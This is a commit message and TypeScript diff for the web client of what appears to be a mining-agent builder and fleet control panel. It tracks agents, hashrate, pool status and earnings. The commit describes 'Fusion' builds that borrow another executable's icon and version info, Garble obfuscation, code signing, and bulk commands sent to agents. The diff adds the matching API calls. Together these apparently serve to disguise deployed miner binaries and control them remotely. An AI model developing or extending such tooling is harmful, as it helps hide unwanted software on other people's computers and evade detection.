Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/web/src/api/client.ts

@@ -1,4 +1,4 @@
-import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate } from '../types';
+import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate } from '../types';
 import { authHeaders } from './auth';
 
 const API_BASE = '/api/v1';
@@ -63,6 +63,23 @@ export const api = {
     });
   },
 
+  estimateFusion: (req: BuildRequest, prepFile: File) => {
+    const form = new FormData();
+    form.append('config', JSON.stringify(req));
+    form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
+    return fetch(`${API_BASE}/builder/estimate`, {
+      method: 'POST',
+      headers: authHeaders(),
+      body: form,
+    }).then(async (res) => {
+      if (!res.ok) {
+        const err = await res.text();
+        throw new Error(`API error ${res.status}: ${err}`);
+      }
+      return res.json() as Promise<FusionEstimate>;
+    });
+  },
+
   buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
   buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`,
 
@@ -101,6 +118,18 @@ export const api = {
   getAgentLog: (id: string, refresh = false) =>
     fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
 
+  updateAgentMeta: (id: string, notes: string, tags: string[]) =>
+    fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
+      method: 'PUT',
+      body: JSON.stringify({ notes, tags }),
+    }),
+
+  sendBulkCommand: (agentIds: string[], action: string) =>
+    fetchJSON<{ success: boolean; sent: number; failed: number; action: string }>('/agents/bulk-command', {
+      method: 'POST',
+      body: JSON.stringify({ agent_ids: agentIds, action }),
+    }),
+
   createUser: (username: string, password: string) =>
     fetchJSON<{ success: boolean }>('/users', {
       method: 'POST',